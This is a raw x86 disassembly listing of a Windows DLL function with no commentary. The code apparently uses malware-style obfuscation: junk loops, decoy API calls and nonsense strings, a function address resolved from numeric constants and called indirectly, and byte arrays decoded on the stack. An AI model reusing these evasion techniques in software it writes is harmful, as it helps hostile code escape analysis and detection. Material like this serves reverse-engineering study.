call fcn.100049ee
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x30], 0x56cf6d70
mov dword [ebp - 0x30], 0x6221
mov dword [ebp - 0x24], 0x26c1
cmp dword [ebp - 0x24], 0x2945
jle 0x1000dd33
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1007f2b8
cdq
push edx
push eax
call fcn.1000473c
inc edi
cmp edi, 0x69da
jl 0x1000dd0b
inc esi
cmp esi, 0x2895
jl 0x1000dd09
or esi, 0xffffffff
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x24], 0x2507
jge 0x1000dd4f
mov edx, str.bkgcn_daaarf_ccxujrkz_nwxmhrk_dfikpwm_dilktq
mov ecx, 0x1007f2b8
call fcn.1000877a
xor edx, edx
inc edx
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x30], 0xf4926a67
mov dword [ebp - 0x20], ebx
jmp 0x1000dd9c
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x200]
mov dword [eax + ecx*4], 0x456160cb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000dd89
mov dword [ebp - 0x20], ebx
jmp 0x1000ddb8
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x204], 0xf81a770a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1000dda7
mov dword [ebp - 0x20], ebx
jmp 0x1000ddcf
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x240], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1000ddc2
mov dword [ebp - 0x20], ebx
jmp 0x1000ddea
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x33c], 0x1e9426ce
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1000ddd9
push edx
push ecx
push ecx
lea eax, [ebp - 0x38]
mov edx, 0x29e2
push eax
lea eax, [ebp - 0x200]
mov ecx, 0x3615
push eax
call fcn.1000c3c7
add esp, 0x14
mov dword [ebp - 0x38], 3
cmp dword [ebp - 0x38], ebx
jl 0x1000dff3
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x28], 0x2d67
cmp dword [ebp - 0x28], 0x2f95
jle 0x1000debb
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x24], 0x52ea
mov eax, edi
xor eax, esi
or eax, ecx
lea ecx, [ebp - 0x420]
cdq
push edx
push eax
call fcn.10001a8a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000de70
mov eax, dword [eax]
push eax
call fcn.1004b583
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x420]
call fcn.10004d7a
mov ecx, dword [ebp - 0x14]
dec esi
dec dword [ebp - 0x24]
jne 0x1000de52
mov esi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x5ea8
jl 0x1000de48
inc edi
cmp edi, 0x213e
jl 0x1000de43
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x5171
jl 0x1000de41
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_UnionRect]
push 2
lea ecx, [ebp - 0x300]
call fcn.100049ee
cmp dword [ebp - 0x28], 0x2a8f
jge 0x1000dedc
push str.euyagcuc_fdcwdxp_sudvj_qbbdwanu_mxudcsui_lplvkip_apfec_mqh_licftlpj
call fcn.1004b583
pop ecx
lea eax, [ebp - 0x300]
mov dword [ebp - 4], 0x1a
push eax
push 1
push 0x25bf
push 0x1c8b
push ebx
lea eax, [ebp - 0x32c]
mov dword [ebp - 0x214], 0xfffffff9
push 0x2269
push eax
mov dl, 1
mov ecx, 0x26c8
call fcn.1000c7a7
mov edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x200]
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x40], edx
mov eax, dword [eax + ecx*4]
xor ecx, ecx
mov dword [edi + edx*4], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
add eax, 0xbe362803
add edx, eax
mov dword [ebp - 0x204], edx
mov eax, dword [ebp - 0x38]
cmp eax, 0x3de76903
setle cl
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x18]
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
add esi, dword [ebp - 0x30]
neg esi
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp esi, eax
mov eax, dword [ebp - 0x38]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setle dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x40]
setne cl
xor eax, eax
cmp dword [edi + edx*4], ecx
mov ecx, 0xfffe
setne al
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x9546
setne cl
or esi, 0xffffffff
cmp esi, ecx
mov dword [ebp - 0x240], ecx
sbb eax, eax
add esp, 0x10
neg eax
xor dl, dl
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x214]
push eax
sub esp, 0xc
call fcn.1000c209
add esp, 0x1c
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x300]
call fcn.10004a4b
dec dword [ebp - 0x38]
jmp 0x1000de16
lea ecx, [ebp - 0x200]
mov byte [ebp - 4], 0x13
call fcn.10004a4b
push ebx
push 0xb2fb
push 0x7293
call fcn.100442cc
pop ecx
pop ecx
call eax
xor eax, eax
mov dword [ebp - 0x48], ebx
mov word [ebp - 0x328], ax
xor ecx, ecx
mov dword [ebp - 0x34], esi
inc ecx
mov dword [ebp - 0x44], ecx
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x34]
neg eax
je 0x1000e056
mov eax, dword [ebp - 0x34]
mov eax, ecx
cmp dword [ebp - 0x34], ebx
jne 0x1000e04a
mov eax, ebx
cmp eax, dword [ebp - 0x68]
jne 0x1000e056
mov eax, ecx
cmp dword [ebp - 0x44], ebx
jne 0x1000e058
mov eax, ebx
add eax, 0xffff6756
jne 0x1000e062
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x34]
add eax, 0x530b
je 0x1000e341
push 4
lea ecx, [ebp - 0x258]
call fcn.100049ee
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x24], 0x3736
cmp dword [ebp - 0x24], 0x39fe
jle 0x1000e0dc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x18]
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1007f2b8
and eax, ebx
cdq
push edx
push eax
call fcn.1000473c
inc edi
cmp edi, 0x6b09
jl 0x1000e0a1
inc esi
push 0
pop ebx
cmp esi, 0x3ba8
jl 0x1000e09c
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x2bb2
jl 0x1000e09a
or esi, 0xffffffff
mov dword [ebp - 0x18], esi
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x24], 0x35ee
jge 0x1000e119
mov edx, str.bsv_zlidkr_fuqe_cjiixwy
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000e119
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x60], ebx
jmp 0x1000e136
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x168], 0xcf1c
inc dword [ebp - 0x60]
cmp dword [ebp - 0x60], 1
jl 0x1000e125
push 1
push ebx
push ebx
push 0x3080
lea eax, [ebp - 0x258]
mov ecx, 0x2ed2
push 0x1aff
push eax
lea edx, [ebp - 0x60]
call fcn.1000c592
add esp, 0x18
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], ebx
jg 0x1000e217
mov dword [ebp - 0x24], 0x4d78
cmp dword [ebp - 0x24], 0x4f3d
jle 0x1000e1aa
mov esi, ebx
mov edi, ebx
mov ebx, 0x2b63
mov eax, edi
mov ecx, 0x1007f2b8
cdq
push edx
push eax
call fcn.1000473c
add edi, esi
dec ebx
jne 0x1000e186
inc esi
cmp esi, 0x1e81
jl 0x1000e17f
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov byte [ebp - 4], 0x20
cmp dword [ebp - 0x24], 0x4a28
jge 0x1000e1e4
mov edx, str.hkbctjz_yltnf_pze_gdqgrgp_uhd_jqudg_xpckjmcrs_roolp_yem_rnwxpah_mrrhlg
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000e1e4
mov dword [ebp - 4], 0x1d
or esi, 0xffffffff
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x168], ebx
jne 0x1000e21a
push 0x1906
push ecx
mov byte [ebp - 0x56], bl
lea edx, [ebp - 0x56]
push ebx
call fcn.1000c2e5
add esp, 0xc
inc dword [ebp - 0x44]
jmp 0x1000e164
or esi, 0xffffffff
mov dword [ebp - 0x34], ebx
jmp 0x1000e326
mov dword [ebp - 0x2c], 0x20f620a3
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x14], ebx
jmp 0x1000e246
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1cc], 0x550e3526
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000e235
mov eax, dword [ebp - 0x68]
mov edx, 0x747c914a
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x64], 0x8fc5
mov eax, dword [ebp - 0x34]
sub edx, eax
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x1c8], edx
mov eax, dword [ebp - 0x64]
cmp eax, edx
mov eax, dword [ebp - 0x44]
setge cl
xor edx, edx
cmp ecx, 0x91c8
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x258]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x168]
cmp eax, ecx
mov eax, dword [ebp - 0x68]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x64]
cmp ecx, eax
setge dl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x44]
sub ecx, eax
mov eax, dword [ebp - 0x258]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
imul ecx, ecx, 0xb9cc
cmp ecx, dword [eax]
setl dl
xor eax, eax
cmp edx, 0x633ef28f
setne al
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], esi
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x36
jne 0x1000e222
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0x13
call fcn.10004a4b
jmp 0x1000e383
mov dword [ebp - 0x21c], 9
push ecx
mov dword [ebp - 0x238], 0x8281b7ff
call fcn.1000bfe5
mov dword [esp], 0x362b
lea eax, [ebp - 0x34]
push 1
push ecx
push eax
lea eax, [ebp - 0x238]
push eax
push ecx
lea eax, [ebp - 0x21c]
push eax
lea edx, [ebp - 0x68]
call fcn.1000bf9f
add esp, 0x1c
push 1
push 1
push 1
push 0x71f9
push 0x567a
push 0x5cc
mov edx, 0x31e2
mov ecx, 0x390
call fcn.1000c592
add esp, 0x18
mov dword [ebp - 0x150], 0x81afd24
mov ecx, ebx
mov dword [ebp - 0x14c], 0x91c0920
mov dword [ebp - 0x148], 0x1f121d18
mov dword [ebp - 0x144], 0x721e0617
push 5
pop eax
push 0x38
mov byte [ebp - 0x136], al
mov byte [ebp - 0x129], al
mov byte [ebp - 0x121], al
pop eax
push 2
mov dword [ebp - 0x140], 0x190a6b09
mov dword [ebp - 0x13c], 0x6210406
mov word [ebp - 0x138], 0xe07
mov dword [ebp - 0x135], 0x141c1309
mov dword [ebp - 0x131], 0x1f7d0214
mov dword [ebp - 0x12d], 0x10031d73
mov word [ebp - 0x128], 0x7401
mov byte [ebp - 0x126], bl
mov dword [ebp - 0x125], 0x113a163e
mov dword [ebp - 0x120], 0x7b1b7c03
mov byte [ebp - 0x11c], 4
mov byte [ebp - 0x11b], bl
mov dword [ebp - 0x11a], 0x140d6e0e
mov dword [ebp - 0x116], 0x39084425
mov dword [ebp - 0x112], 0x20b7515
mov dword [ebp - 0x10e], 0xd22070c
mov dword [ebp - 0x10a], 0x75197c23
mov dword [ebp - 0x106], 0xfda3b02
mov byte [ebp - 0x102], 1
mov word [ebp - 0x4d0], ax
pop esi
mov dword [ebp - 0x178], ecx
cmp esi, 0x4a
jne 0x1000e4bd
push 3
pop ecx
push 0x4b
mov dword [ebp - 0x178], ecx
pop esi
jmp 0x1000e510
movzx edx, byte [ebp + esi - 0x14f]
mov eax, esi
sub eax, ecx
push 0x3db9
movzx eax, byte [ebp + eax - 0x152]
movzx ecx, word [ebp + eax*2 - 0x518]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x150]
add ecx, edx
push ecx
push 1
mov word [ebp + eax*2 - 0x518], cx
push ecx
lea ecx, [ebp - 0x178]
call fcn.1000c6c1
mov ecx, dword [ebp - 0x178]
add esp, 0x10
add esi, 2
cmp esi, 0x4f
jb 0x1000e4aa
xor eax, eax
mov dword [ebp - 0x2bc], 7
mov word [ebp - 0x4cc], ax
lea ecx, [ebp - 0x2d0]
mov word [ebp - 0x2d0], ax
lea eax, [ebp - 0x518]
push eax
mov dword [ebp - 0x2c0], ebx
call fcn.1000b67d
mov byte [ebp - 4], 0x22
xor edx, edx
mov dword [ebp - 0x28], 0x7d8e6e83
mov dword [ebp - 0x1c], 0xc2251554
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setg dl
cmp edx, 0x2071
jge 0x1000e611
mov dword [ebp - 0x14], ebx
jmp 0x1000e58b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x160], 0x5059b8bc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1000e57a
push 0x4122
push 0x375a
push 0x3ffd
push 0x180f
push 0x520f
push 1
push ebx
mov dl, 1
mov ecx, 0x3587
call fcn.1000c024
mov dword [ebp - 0x28], ebx
add esp, 0x1c
cmp dword [ebp - 0x28], ebx
jl 0x1000e636
mov dword [ebp - 0x30], 0x923ccde6
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp + eax*4 - 0x160]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x160]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setg cl
add ecx, 0xfffe
mov dword [ebp + eax*4 - 0x160], ecx
lea eax, [ecx + 0x52bf3388]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x1c], ebx
jne 0x1000e636
dec dword [ebp - 0x28]
jns 0x1000e5c4
jmp 0x1000e636
mov dword [ebp - 0x1c], 0xffffffee
jmp 0x1000e630
push 0x65f8
push 0x6c2d
mov dl, 1
call fcn.1000c6dc
inc dword [ebp - 0x1c]
pop ecx
pop ecx
cmp dword [ebp - 0x1c], 0x10
jle 0x1000e61a
push 0x13
xor eax, eax
lea edi, [ebp - 0x518]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x30], 0x19bb
cmp dword [ebp - 0x30], 0x861
jge 0x1000e6a4
lea eax, [ebp - 0x1f0]
push eax
push ecx
lea eax, [ebp - 0x1ec]
mov ecx, 0x1007f370
push eax
call fcn.1000f5ee
pop ecx
mov ecx, eax
call fcn.1000f5ee
mov ecx, dword [ebp - 0x1ec]
mov edx, str.X_
mov eax, dword [ebp - 0x1f0]
add eax, ecx
push eax
push ecx
mov ecx, 0x1007f2b8
call fcn.1000877a
pop ecx
mov ecx, eax
call fcn.1000f74b
push eax
call fcn.10008951
pop ecx
mov dword [ebp - 0x14], 0xf7e2799a
mov dword [ebp - 0x23c], 0x555b7cef
mov dword [ebp - 0x2c], 0x6f7
cmp dword [ebp - 0x2c], 0x83d
jle 0x1000e723
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x24], ebx
cdq
mov esi, ebx
idiv edi
mov dword [ebp - 0x30], edx
mov edi, ebx
mov ebx, dword [ebp - 0x30]
mov eax, esi
mov ecx, 0x1007f2b8
cdq
idiv edi
lea eax, [ebx + edx]
cdq
push edx
push eax
call fcn.1000473c
inc edi
cmp edi, 0x568b
jl 0x1000e6dc
inc esi
push 0
pop ebx
cmp esi, 0x3722
jl 0x1000e6d7
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0xca7
jl 0x1000e6cf
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x58ff
jl 0x1000e6ca
mov dword [ebp - 0x14], 0xfffffffd
jmp 0x1000e77f
push 0x4b5c
push 1
push 0x924
push 0x4e7d
push 1
push 0x7999
mov byte [ebp - 0x53], bl
lea ecx, [ebp - 0x53]
push 0x22cd
mov dl, 1
call fcn.1000c7a7
add esp, 0x1c
lea eax, [ebp - 0x23c]
mov edx, 0x7304
mov ecx, 0x4e62
push eax
push ebx
push 1
push 0x7abd
push 1
call fcn.1000c9ba
add esp, 0x14
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff2
jne 0x1000e72c
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x2c], 0x326
jge 0x1000e7bf
mov edx, str.jyorw_klbjjb_lxiv_bqr
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000e7bf
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x18], 0xa4a12b57
mov dword [ebp - 0x30], 0x9d19ac19
mov dword [ebp - 0x24], 0x1a18
cmp dword [ebp - 0x24], 0x1bec
jle 0x1000e80a
mov esi, ebx
mov edi, ebx
mov ebx, 0x32a8
mov eax, edi
mov ecx, 0x1007f2b8
cdq
push edx
push eax
call fcn.1000473c
add edi, esi
dec ebx
jne 0x1000e7ed
inc esi
cmp esi, 0x7bd1
jl 0x1000e7e6
mov byte [ebp - 4], 0x25
cmp dword [ebp - 0x24], 0x198a
jge 0x1000e844
mov edx, str.hptr_mwyrwgzl_wluxb_brnsmxcw_crmwwmj_zouagm
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000e844
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x14], ebx
jmp 0x1000e861
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1a4], 0x799ac789
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1000e850
mov byte [ebp - 0x54], bl
cmp byte [ebp - 0x54], 0
je 0x1000e882
push ebx
push 0x1df1
mov edx, 0x5bf0
call fcn.1000cc08
pop ecx
pop ecx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x1000e8a3
push 0x6ae7
mov byte [ebp - 0x49], bl
lea ecx, [ebp - 0x49]
push 1
call fcn.1000c8e5
dec dword [ebp - 0x18]
pop ecx
pop ecx
jns 0x1000e88a
mov dword [ebp - 0x24], 0x2b8c
cmp dword [ebp - 0x24], 0x2bd1
jle 0x1000e8fd
mov edi, ebx
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x498]
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.10001a8a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000e8d6
mov eax, dword [eax]
push eax
call fcn.1004b583
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x498]
call fcn.10004d7a
inc esi
cmp esi, 0x4ed1
jl 0x1000e8b7
inc edi
cmp edi, 0x1f83
jl 0x1000e8b5
cmp dword [ebp - 0x24], 0x29b7
push 5
pop eax
mov word [ebp - 0x100], 0xd1c
mov byte [ebp - 0xfe], 0x1a
mov byte [ebp - 0xfd], bl
mov dword [ebp - 0xfc], 0x75077403
mov dword [ebp - 0xf8], 0x74220702
mov dword [ebp - 0xf4], 0x1d137219
mov dword [ebp - 0xf0], 0x6b0e6b06
mov dword [ebp - 0xec], 0x6f186f14
mov dword [ebp - 0xe8], 0x3e256e1b
mov dword [ebp - 0xe4], 0xd244420
mov dword [ebp - 0xe0], 0x77110712
mov dword [ebp - 0xdc], 0x10f7421
mov word [ebp - 0xd8], 0x60c
mov byte [ebp - 0xd6], 0x16
mov byte [ebp - 0xd5], al
mov dword [ebp - 0xd4], 0x60b7717
mov byte [ebp - 0xd0], 1
mov byte [ebp - 0xcf], al
mov byte [ebp - 0xce], bl
mov dword [ebp - 0xcd], 0x1d48153d
mov dword [ebp - 0xc9], 0x1070d07
mov word [ebp - 0xc5], 0xa9d
mov byte [ebp - 0xc3], 0xa
mov byte [ebp - 0xc2], al
mov dword [ebp - 0xc1], 0x8722309
mov dword [ebp - 0xbd], 0x1f701e74
mov dword [ebp - 0xb9], 0x408107f
mov word [ebp - 0xb5], 0x908
mov byte [ebp - 0xb3], 0x14
jge 0x1000ea0f
push str.wgrqwkrqz_vbzcnc_dahgb_qvlpybvvd_ginzg_icrirzv_vlhcihfqq_thtxmfz_hbpz
call fcn.1004b583
pop ecx
push 0x30
pop eax
mov dword [ebp - 4], 0x22
mov ecx, ebx
push 2
mov word [ebp - 0x530], ax
pop esi
mov dword [ebp - 0x164], ecx
cmp esi, 0x3a
jne 0x1000eaea
mov dword [ebp - 0x164], 2
mov dword [ebp - 0x30], 0x5564
cmp dword [ebp - 0x30], 0x566b
mov dword [ebp - 0x14], esi
jle 0x1000eb2f
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edx, esi
mov ecx, eax
mov edi, ebx
sar edx, cl
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x40], edx
mov eax, edx
mov esi, ebx
xor eax, edi
mov dword [ebp - 0x30], eax
mov edi, eax
mov eax, edi
lea ecx, [ebp - 0x4b0]
or eax, esi
cdq
push edx
push eax
call fcn.10001a8a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000ea94
mov eax, dword [eax]
push eax
call fcn.1004b583
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4b0]
call fcn.10004d7a
inc esi
cmp esi, 0x753
jl 0x1000ea78
mov edi, dword [ebp - 0x24]
mov edx, dword [ebp - 0x40]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x8a7
jl 0x1000ea6d
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x1851
jl 0x1000ea5f
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x26df
jl 0x1000ea5a
mov esi, dword [ebp - 0x14]
jmp 0x1000eb2f
movzx edx, byte [ebp + esi - 0xff]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x102]
movzx ecx, word [ebp + eax*2 - 0x568]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x100]
add ecx, edx
mov word [ebp + eax*2 - 0x568], cx
lea eax, [ebp - 0x164]
push eax
xor cl, cl
call fcn.1000c3f3
pop ecx
add esi, 2
cmp esi, 0x4e
jae 0x1000eb42
mov ecx, dword [ebp - 0x164]
jmp 0x1000ea2b
xor eax, eax
mov dword [ebp - 0x298], 7
mov word [ebp - 0x51c], ax
lea ecx, [ebp - 0x2ac]
mov word [ebp - 0x2ac], ax
lea eax, [ebp - 0x568]
push eax
mov dword [ebp - 0x29c], ebx
call fcn.1000b67d
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x2c], 0x17cd
cmp dword [ebp - 0x2c], 0x1a30
jle 0x1000ebe7
push ebx
push 0x23e8
call dword [sym.imp.GDI32.dll_SetLayout]
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
and eax, esi
mov ecx, 0x1007f2b8
xor eax, edi
or eax, ebx
cdq
push edx
push eax
call fcn.1000473c
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x1840
jl 0x1000eba3
inc esi
push 0
pop ebx
cmp esi, 0x52d1
jl 0x1000eb9b
inc edi
cmp edi, 0x49eb
jl 0x1000eb99
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x172f
jl 0x1000eb97
mov dword [ebp - 0x40], 5
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x2c], 0x13f3
jge 0x1000ec28
mov edx, str.ismlcdl_vxw_xfc
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000ec28
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x14], 0xfd9e2a8d
mov dword [ebp - 0x2c], 0x180e
cmp dword [ebp - 0x2c], 0x18f7
jle 0x1000ecb1
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
cdq
mov edi, ebx
idiv esi
mov eax, edx
mov dword [ebp - 0x30], eax
mov esi, ebx
mov ecx, edi
mov ebx, eax
sar ebx, cl
mov ecx, esi
mov eax, ebx
sar eax, cl
mov ecx, 0x1007f2b8
cdq
push edx
push eax
call fcn.1000473c
inc esi
cmp esi, 0x48de
jl 0x1000ec69
mov eax, dword [ebp - 0x30]
inc edi
push 0
pop ebx
cmp edi, 0x23da
jl 0x1000ec61
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x97a
jl 0x1000ec57
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x27d9
jl 0x1000ec52
mov dword [ebp - 0x30], 0x418a5273
mov byte [ebp - 4], 0x2e
cmp dword [ebp - 0x2c], 0x161a
jge 0x1000ecf2
mov edx, str.lfbxk_uytweu_dvc_cxod_tlwmggr_czo_jxbfwkh_vlju_sfufod_iyepxyx_qhawqch_ckn_ptpboq_axml
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000ecf2
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x24], 0x710dd01
mov dword [ebp - 0x24], 0xc9a130df
push 5
mov dword [ebp - 0x18], 0xffff
pop ecx
mov dword [ebp - 0x1c], ebx
jmp 0x1000ed27
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2dc], 0xb8faaaeb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000ed16
mov dword [ebp - 0x1c], ebx
jmp 0x1000ed43
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1a8], 0x80c3414b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x1000ed32
mov eax, dword [ebp - 0x2d8]
lea edi, [ebp - 0x568]
inc dword [ebp - 0x18]
mov eax, dword [ebp - 0x1a8]
sub eax, dword [ebp - 0x24]
neg eax
push 0x13
sbb eax, eax
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x24]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setg cl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, 7
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x1a8], edx
mov ecx, dword [ebp - 0x2d4]
sub ecx, dword [ebp - 0x18]
cmp edx, 0xdb62
setle al
sub ecx, eax
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x4d71b36c
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x30], ecx
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x248], 0xfffffffa
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x18], 0x2091
cmp dword [ebp - 0x18], 0x231c
jle 0x1000ee53
push 0xb34
push ebx
push 0x254f
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov edi, esi
mov esi, 0x2f1f
mov eax, edi
lea ecx, [ebp - 0x438]
cdq
push edx
push eax
call fcn.10001a8a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000ee2b
mov eax, dword [eax]
push eax
call fcn.1004b583
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x438]
call fcn.10004d7a
dec edi
dec esi
jne 0x1000ee11
mov esi, dword [ebp - 0x24]
inc esi
